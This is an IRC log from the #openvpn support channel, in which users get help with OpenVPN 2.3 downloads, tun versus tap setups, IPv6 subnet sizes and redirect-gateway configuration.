10:00 -!- Valcorb [~Valcorb@94-226-106-113.access.telenet.be] has quit [Client Quit]
10:04 -!- Qianyi [~Qianyi@180.155.14.35] has quit [Read error: Connection reset by peer]
10:04 -!- Qianyi [~Qianyi@180.155.14.35] has joined #openvpn
10:07 <+rob0> beta? There is no beta at this time. 2.3 is the current release.
10:07 -!- eutheria [~euther0a@cpc2-cmbg15-2-0-cust990.5-4.cable.virginmedia.com] has quit [Remote host closed the connection]
10:09 -!- Valcorb [Valcorb@94-226-106-113.access.telenet.be] has joined #openvpn
10:18 -!- JackWinter [~jack@vodsl-4655.vo.lu] has left #openvpn ["Konversation terminated!"]
10:18 -!- Carbon_Monoxide [~cmonxide@058176022144.ctinets.com] has quit [Quit: Leaving]
10:19 -!- JackWinter [~jack@vodsl-4655.vo.lu] has joined #openvpn
10:23 -!- master_of_master [~master_of@p57B53191.dip.t-dialin.net] has quit [Ping timeout: 244 seconds]
10:24 -!- master_of_master [~master_of@p57B53F05.dip.t-dialin.net] has joined #openvpn
10:27 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 244 seconds]
10:29 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
10:29 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
10:43 -!- Valcorb [Valcorb@94-226-106-113.access.telenet.be] has quit [Read error: Connection reset by peer]
10:52 -!- Valcorb [~Valcorb@94-226-106-113.access.telenet.be] has joined #openvpn
10:52 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 245 seconds]
10:55 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
10:56 -!- djc [~djc@gentoo/developer/djc] has left #openvpn []
10:57 < Qianyi> rob0, i mean 2.3 rc2
10:57 < Freeaqingme> Wulf, vpnHelper There's one remark though: Options error: --server-ipv6 settings: only /64../112 supported right now (not /122)
10:57 < Qianyi> would anyone have a mirror or link?
10:58 <+rob0> Qianyi, you should use the final release version, not rc2.
10:59 <+rob0> sorry, I do not know of alternate download sites, if Google can't find them.
11:00 < Qianyi> np thanks
11:03 -!- b1rkh0ff [~b1rkh0ff@178.77.1.28] has joined #openvpn
11:19 -!- Valcorb [~Valcorb@94-226-106-113.access.telenet.be] has quit [Ping timeout: 244 seconds]
11:25 -!- JackWinter [~jack@vodsl-4655.vo.lu] has quit [Quit: ZNC - http://znc.in]
11:26 -!- JackWinter [~jack@vodsl-4655.vo.lu] has joined #openvpn
11:29 < Freeaqingme> Is there any obvious reason ifconfig-ipv6-pool only supports /64 pools ?
11:33 -!- Valcorb [~Valcorb@94-226-106-113.access.telenet.be] has joined #openvpn
11:41 -!- nucl3ar [~atom@c-69-247-138-234.hsd1.tn.comcast.net] has joined #openvpn
11:42 < nucl3ar> !welcome
11:42 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
11:42 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
11:45 < nucl3ar> anybody familiar of issues concerning openvpn killing bandwidth *after* it's shutdown?
11:48 < nucl3ar> example: (#1) speed test using wget avg roughly 2.5-3 mb/s without openvpn (#2) connect through openvpn use wget again, roughly 1.0 mb/s (#3) kill openvpn (ctrl+c) run wget speedtest for last time.. this time 70 kb/s (dies intermittently).
11:50 -!- Martin` [martin@2001:16f8:2:10::215] has joined #openvpn
11:50 < Martin`> Hello world!
12:04 < Martin`> When I want to connect my ipad to openvpn, do I have to change my server config? my server is configed with tap devices (I bridged the devices). I see the ios client does not support tap. is this a problem? or can client be tun, and server tap?
12:04 -!- Valcorb [~Valcorb@94-226-106-113.access.telenet.be] has quit [Remote host closed the connection]
12:07 < dioz> interesting
12:08 < dioz> there is ios support now
12:09 < dioz> check the apple store
12:09 < dioz> !ios
12:09 < dioz> !apple
12:09 < dioz> lemme scroll back a second
12:09 < Martin`> I know, downloaded the app,but I read there is no tap support in ios
12:09 -!- MeanderingCode_ [~Meanderin@71-213-175-129.albq.qwest.net] has quit [Remote host closed the connection]
12:10 < dioz> oooh i see what you're saying
12:13 -!- blackmagic [~black@ip98-185-21-138.rn.hr.cox.net] has quit [Ping timeout: 245 seconds]
12:27 -!- blackmagic [~black@ip98-185-21-138.rn.hr.cox.net] has joined #openvpn
12:35 -!- hazardous [~dbn@openvpn/user/hazardous] has quit [Read error: Connection reset by peer]
12:42 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
12:44 -!- _br_- [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
12:47 -!- _br_- [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
12:51 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
12:52 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
12:53 -!- _br_- [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
12:53 -!- _br_- is now known as _br_
12:58 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
13:01 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
13:03 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
13:05 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
13:08 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
13:11 -!- _br_- [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
13:13 -!- _br_- [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
13:14 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
13:18 -!- Valcorb [~Valcorb@74.115.1.243] has joined #openvpn
13:19 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
13:20 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
13:24 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
13:28 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
13:29 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
13:31 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
13:35 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
13:38 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
13:40 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
13:41 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
13:45 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
13:47 -!- Valcorb [~Valcorb@74.115.1.243] has quit [Ping timeout: 246 seconds]
13:47 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
13:50 -!- p47 [~Marcos1@189.144.65.247] has joined #openvpn
13:50 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
13:50 < p47> When I connect to the vpn I can acces to my server but My computer just get disconnect to internet. any idea?
13:54 -!- Castor_ [Castor_@CPE-72-133-200-232.wi.res.rr.com] has quit [Read error: Connection reset by peer]
13:55 -!- Castor__ [~hi@CPE-72-133-200-232.wi.res.rr.com] has joined #openvpn
13:55 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
13:56 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
13:58 -!- Castor__ [~hi@CPE-72-133-200-232.wi.res.rr.com] has quit [Read error: Connection reset by peer]
13:58 -!- Castor_ [~hi@CPE-72-133-200-232.wi.res.rr.com] has joined #openvpn
13:58 -!- p47 [~Marcos1@189.144.65.247] has quit [Quit: Saliendo]
13:59 -!- p47 [~Marcos1@189.144.65.247] has joined #openvpn
14:00 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
14:01 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
14:01 -!- scyld [~scyld@unaffiliated/wasyl] has quit [Quit: Wychodzi]
14:03 -!- p47 [~Marcos1@189.144.65.247] has quit [Client Quit]
14:03 -!- p47 [~Marcos1@189.144.65.247] has joined #openvpn
14:03 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
14:06 -!- emmanuelux [~emmanuelu@vpn7.freedom-ip.com] has quit [Ping timeout: 248 seconds]
14:06 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
14:09 -!- _br_- [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
14:10 -!- Porkepix [~Porkepix@lns-bzn-20-82-64-31-107.adsl.proxad.net] has quit [Ping timeout: 252 seconds]
14:11 -!- _br_- [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
14:12 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
14:13 -!- Porkepix [~Porkepix@lns-bzn-45-82-65-137-188.adsl.proxad.net] has joined #openvpn
14:15 -!- Qianyi [~Qianyi@180.155.14.35] has quit [Read error: Connection reset by peer]
14:16 -!- nutron [~nutron@unaffiliated/nutron] has quit [Quit: I must go eat my cheese!]
14:16 -!- Qianyi [~Qianyi@180.155.14.35] has joined #openvpn
14:17 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
14:19 -!- _br_- [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
14:22 -!- _br_- [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
14:22 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
14:23 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 256 seconds]
14:25 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
14:27 -!- Castor_ [~hi@CPE-72-133-200-232.wi.res.rr.com] has quit [Read error: Connection reset by peer]
14:27 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
14:28 -!- Castor_ [Castor_@CPE-72-133-200-232.wi.res.rr.com] has joined #openvpn
14:30 -!- _br_- [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
14:32 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
14:32 -!- _br_- [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
14:34 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
14:38 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
14:39 -!- _br_- [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
14:41 < Martin`> p47: do you want to have internet via vpn?
14:42 <+pekster> Sounds to me like a case of redirect-gateway being pushed but not functioning (maybe the server doesn't forward the traffic properly?)
14:43 -!- _br_- [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
14:44 < p47> Martin`, solved
14:44 < p47> thank you
14:45 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
14:47 < Martin`> your welcome
14:47 < Martin`> now I'm going to solve my problems
14:47 < Martin`> want to connect a ios device. but need a tun instead of tap for that
14:47 < p47> Martin`, LOL
14:47 <+pekster> Why use tap in the first place?
14:47 < Martin`> gues routing is the only way :(
14:47 <+pekster> !tunortap
14:47 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
14:47 <@vpnHelper> over the vpn or (#4) lan gaming? use tap!
14:48 < p47> Martin`,  I would like to help you but I can not I'm  a noob
14:48 < Martin`> hmm
14:48 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
14:48 < EugeneKay> Martin`, you can use a tap device in routed mode just fine.
14:49 < Martin`> pekster: I run the vpn on different ports. over http proxy needed on port 442
14:49 < Martin`> 443
14:49 < Martin`> so I bridge multible vpn's
14:49 < Martin`> port 443 with redirect gateway
14:49 <+pekster> Oh. I just use separate ranges and route them internally when I need to do that
14:50 <+pekster> eg: if you have 10.8.0.0/24 as your VPN range, give 1 VPN 10.8.0.0/25 and another 10.8.0.128/25, and connect them together in the server/firewall if you want clients to talk to each other
14:50 < Martin`> I believe you can not bridge a tun
14:50 <+pekster> I'm talking about routing them, not bridging them
14:50 <+pekster> Notice how I split the /24 into two /25's
14:50 -!- _br_- [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
14:50 < Martin`> ok
14:50 <+pekster> I mean, you can bridge 2 taps like you're doing too, but if the only reason is to "connect" both VPNs, I think it's a bad solution
14:51 < EugeneKay> Bridging bridges is not a sound structural decision
14:52 < Martin`> ok, but I'm not changing the setup right now, so I add one with tun I guess :P
14:52 <+pekster> YOu can always make the 2nd one a tun/routed configuration later when you can handle the downtime/setup-time
14:52 < Martin`> setup time is the big issue :P
14:53 <+pekster> As long as the server has ip-forwarding enabled and the firewall permits it, you can have as many VPNs communicating with other VPNs as you want
14:53 < Martin`> need to config multible things
14:53 < Martin`> the server has his own public ip so not a problem
14:53 -!- _br_- [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
14:54 <+pekster> With NAT/port-forwarding, it doesn't really matter. My home VPN server (currently running 3 VPNs, and soon to be a couple more) works fine behind my NAT box
14:55 < Martin`> :)
14:55 <+pekster> OpenVPN is very "NAT-friendly" since all traffic goes over a single port
14:55 < Martin`> thats why I like it :)
14:56 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
14:58 -!- p47 [~Marcos1@189.144.65.247] has quit [Quit: Saliendo]
14:59 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
15:02 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
15:04 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
15:05 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
15:08 < Martin`> pekster: but it is always better to get tun and routing?
15:08 <+pekster> Martin`: Unless you need tap (as the bot's output told you earlier) yes
15:09 <+pekster> If you're not doing weird stuff like multicast broadcasts or Ethernet broadcast protocols, you don't need tap for your setup
15:09 <+pekster> If you don't know what any of that is, you don't need tap
15:09 < Freeaqingme> or ipv6 with a subnet smaller than /112
15:09 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
15:09 -!- Castor_ [Castor_@CPE-72-133-200-232.wi.res.rr.com] has quit [Read error: Connection reset by peer]
15:09 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
15:09 <+pekster> Any ISP giving you less than a /64 needs to be shot
15:10 < Martin`> I can use a /48
15:10 < Freeaqingme> pekster, for a mere vps?
15:10 -!- Castor_ [Castor_@CPE-72-133-200-232.wi.res.rr.com] has joined #openvpn
15:10 < Martin`> that is next step I wanna do. add ipv6 support
15:10 < Martin`> not sure if my openvpn version does support it
15:10 <+pekster> Freeaqingme: Sure, why not. IPv6 space is huge. Maybe a customer has to officially "request" it, but there's no reason to fail to give customers at the very leat a /64 if they're paying for IPv6 access
15:10 < Freeaqingme> Martin`, 2.3.0 supports anything up to /112, although it's easiest with a /64
15:12 < Freeaqingme> pekster, true
15:12 < Martin`> OpenVPN 2.1.0 x86_64-pc-linux-gnu [SSL] [LZO2] [EPOLL] [PKCS11] [MH] [PF_INET6] [eurephia] built on Jul 20 2010
15:12 < Martin`> really need to upgrade
15:12 <+pekster> The recommendation for ISPs is to give residential customers at *least* a /64, and a /56 is suggested
15:13 < Martin`> I hope my home isp will give me a /64
15:13 <+pekster> If a hosting provider can't do that for a paying customer, I'd shop elsewhere
15:13 < Martin`> true, a /48 was not expensive for me
15:13 < Freeaqingme> pekster, I know. My default isp gives out 1 /48 per connection. But in case of a single machine (not a network, normally), a /112 is pretty big normally
15:14 <+pekster> Even a /56, that gives you 2^8, or 256 possible /64's. I can't imagine a home user needing more than that
15:14 < Martin`> I give every customer of me a /64
15:14 < Martin`> (vps)
15:14 < Martin`> and they can add ip's of the range to thier vpsses
15:14 <+pekster> Yea. That's 65536 /64's. Subtract a few-dozen for whatever backend stuff you need if you're large, and that's still a lot of customers you can support
15:15 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
15:15 <+pekster> If you have more customers than that, you need a larger allocation and can easily justify it to upstream
15:15 < Martin`> I'm only a littlebit sad that they configured ipv6 as a full /48 subnet
15:15 -!- b1rkh0ff [~b1rkh0ff@178.77.1.28] has quit [Quit: Leaving]
15:15 -!- Castor_ [Castor_@CPE-72-133-200-232.wi.res.rr.com] has quit [Ping timeout: 252 seconds]
15:16 -!- Castor_ [~hi@CPE-72-133-200-232.wi.res.rr.com] has joined #openvpn
15:16 < Freeaqingme> Martin`, but besides that. Ideally openvpn would support smaller subnets as well. What I found in commit messages, the only reason not to do so /yet/ is that with ipv6 currently only RA seems supported
15:16 <+pekster> A /112 isn't small enough?
15:17 < Freeaqingme> for 2 hosts, a /127 should be enough ;)
15:17 <+pekster> Well, IPv6 is *huge*
15:17 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
15:17 <+pekster> If you have even a "small" /64 as a residential customer, you can support this many /112 VPN: 72057594037927936
15:17 <+pekster> That's a number so large I don't even really understand how big it is
15:17 < Freeaqingme> pekster, I know
15:17 <+pekster> The age of /30's is over. use PtP if you want to do stuff like that
15:20 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
15:22 -!- Castor_ [~hi@CPE-72-133-200-232.wi.res.rr.com] has quit [Ping timeout: 244 seconds]
15:22 < Martin`> hmm strange, connection works great (on osx) but when I disconnect I get a lot errors
15:23 < Martin`> Sat Jan 19 21:30:16 2013 read UDPv4 [ECONNREFUSED]: Connection refused (code=111)
15:23 < Martin`> on server
15:23 <+pekster> That's normal, because the peer is returning 'ICMP port unreachable'
15:23 < Martin`> ok
15:23 <+pekster> Use 'explicit-exit-notify 2' or such on the client side if you don't like that
15:24 < Martin`> ah then he tells that he is leaving
15:24 -!- b00b [~spunk@smurf.mmnetworks.se] has quit [Ping timeout: 245 seconds]
15:24 <+pekster> Yea. Withtout that, a peer has no indication the connection is "down" until a timeout occurs
15:24 <+pekster> (same as if the PC crashed or the Internet link went down)
15:25 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
15:25 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
15:27 < MorgyN> spunk smurf
15:28 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
15:30 < Martin`>  SIGTERM[soft,remote-exit] received, client-instance exiting
15:30 < Martin`> much better
15:30 -!- b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
15:30 < Martin`> now try to use it on ios
15:30 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
15:33 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
15:36 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
15:36 < Martin`> days of work with some other vpn server to get it run on ios
15:36 < Martin`> now it just works easy with openvpn :D
15:36 -!- _br_- [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
15:40 < Martin`> now I can route some traffic via home so I can watch tv on my ipad :P
15:41 -!- _br_- [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
15:44 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has quit [Quit: ByeBye]
15:45 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
15:46 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
15:47 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has joined #openvpn
15:48 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
15:51 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
15:52 -!- _br_- [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
15:57 -!- _br_- [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
15:57 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
15:59 -!- Valcorb [Valcorb@94-226-106-113.access.telenet.be] has joined #openvpn
16:02 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit []
16:02 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
16:03 < Qianyi> anyone have a mirror for openvpn 2.3rc2?
16:03 < Qianyi> cant visit offical download site
16:03 <+pekster> Qianyi: I can dump it on my personal webhost; do you really want 2.3rc2 and not 2.3.0 final?
16:03 <+rob0> I mentioned that earlier.
16:04 <+pekster> Yea, I noticed; I wasn't quite online then
16:04 < Qianyi> rob0, that is the version i would like to use, it is stable
16:04 <+pekster> Qianyi: By nature of a "release candidate" it is *LESS* stable than the final 2.3.0 release
16:04 < Qianyi> used it in the past but have new ssd without it
16:04 <+pekster> Qianyi: If you don't understand this, you probably want 2.3.0
16:05 <+pekster> (That said, there's hardly any difference beween 2.3rc2 and 2.3.0 anyway)
16:05 < Qianyi> i know rc stands for  release candidate
16:05 < Qianyi> its just the version i would like to use
16:05 -!- JackWinter [~jack@vodsl-4655.vo.lu] has left #openvpn ["Konversation terminated!"]
16:06  * pekster shrugs. Whatever you want, really; I'm just making sure you really want it before I go through the trouble of mirroring it for you. What platform? (and if Windows, 32 vs 64 bit?)
16:06 -!- _br_- [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
16:06 < Qianyi> pekster, thanks!
16:07 < Qianyi> windows 7 64
16:07 -!- _br_- [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
16:07 -!- JackWinter [~jack@vodsl-4655.vo.lu] has joined #openvpn
16:09 < Valcorb> hey guys, i have a question
16:09 < Valcorb> i have a Debian server
16:09 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
16:09 < Valcorb> with openvpn server installed
16:09 < Valcorb> i've configured it completly
16:09 < Valcorb> and im able to connect
16:09 < Valcorb> but i can't browse
16:09 < Valcorb> or anything
16:09 < Valcorb> just says 'not found'
16:09 < Valcorb> anyone knows where it could be?
16:10 <+pekster> Valcorb: If you're using "Access Server" that's not supported here. The open-ssource openvpn package has no "server" version
16:10 -!- ade_b [~Ade@redhat/adeb] has quit [Read error: Operation timed out]
16:10 <+pekster> !as
16:10 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
16:10 < Valcorb> nono
16:10 < Valcorb> Community
16:10 <+pekster> Are you using redirect-gateway?
16:10 <+pekster> Qianyi: http://pekster.sdf.org/misc/ovpn-2.3rc2/
16:10 <@vpnHelper> Title: Index of /misc/ovpn-2.3rc2 (at pekster.sdf.org)
16:10 < Valcorb> hmm
16:10 < Valcorb> i think so
16:11 <+pekster> I've included the GPG sig too, just in case  you don't trust me (if you're security-concious you should validate it even if you do trust me since it's not a secured link)
16:11 < Valcorb> i should be using it
16:12 < Valcorb> i'll check the cong
16:12 < Valcorb> *conf
16:12 <+pekster> Valcorb: Well, not if you don't want it. It sounds a bit to me like you're redirecting your default gateway with that parameter and can't access resources after you connect due to a misconfiguration
16:12 <+pekster> !redirect
16:12 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
16:12 <@vpnHelper> http://ircpimps.org/redirect.png
16:12 < Valcorb> hmm
16:12 < Valcorb> sec
16:12 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
16:13 < Valcorb> ah yes i am
16:13 < Valcorb> so I should just uncomment it?
16:13 < Valcorb> *comment
16:13 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
16:13 <+pekster> Do you want to be redirect all client Internet access through the VPN?
16:14 <+pekster> Don't use that directive unless you want what it does (that applies to all the directives, really)
16:14 < Valcorb> hmm
16:14 < Valcorb> i guess not
16:14 < Qianyi> pekster, much appreciate, got it
16:14 <+pekster> Qianyi: np
16:15 -!- Cpot-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
16:16 -!- Cpot-Oblivious is now known as Cpt-Oblivious
16:16 -!- nucl3ar [~atom@c-69-247-138-234.hsd1.tn.comcast.net] has quit [Quit: Leaving]
16:18 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
16:19 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds]
16:21 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
16:21 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 245 seconds]
16:22 -!- EugeneKay [eugene@itvends.com] has quit [Ping timeout: 245 seconds]
16:22 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Ping timeout: 245 seconds]
16:22 -!- bandroidx [~bandroidx@2607:f358:1:fed5:4:0:414:11] has quit [Ping timeout: 245 seconds]
16:22 -!- kenyon [kenyon@darwin.kenyonralph.com] has quit [Ping timeout: 245 seconds]
16:23 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
16:23 -!- EugeneKay [eugene@itvends.com] has joined #openvpn
16:23 -!- kenyon [kenyon@darwin.kenyonralph.com] has joined #openvpn
16:23 -!- peper [~peper@gentoo/developer/peper] has quit [Ping timeout: 276 seconds]
16:24 -!- peper [~peper@gentoo/developer/peper] has joined #openvpn
16:24 < Valcorb> pekster: i'll try later, having some vps issues
16:25 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
16:25 -!- bandroidx [~bandroidx@2607:f358:1:fed5:4:0:414:11] has joined #openvpn
16:25 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
16:26 -!- ducblangis [~Ducblangi@24-117-207-111.cpe.cableone.net] has quit [Quit: WeeChat 0.3.0]
16:26 < Valcorb> thanks tho
16:28 -!- dxtr [~dxtr@unaffiliated/dxtr] has quit [Ping timeout: 276 seconds]
16:29 -!- _br_- [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
16:29 -!- Valcorb [Valcorb@94-226-106-113.access.telenet.be] has quit [Remote host closed the connection]
16:30 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
16:30 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
16:30 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
16:30 -!- mode/#openvpn [+o dazo_afk] by ChanServ
16:30 -!- dazo_afk is now known as dazo
16:33 -!- dxtr [~dxtr@unaffiliated/dxtr] has joined #openvpn
16:33 -!- _br_- [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
16:33 -!- Valcorb [~Valcorb@94-226-106-113.access.telenet.be] has joined #openvpn
16:36 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
16:39 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
16:41 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
16:44 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:44 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
16:48 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
16:49 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
16:52 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has joined #openvpn
16:52 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has quit [Client Quit]
16:53 -!- _br_- [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
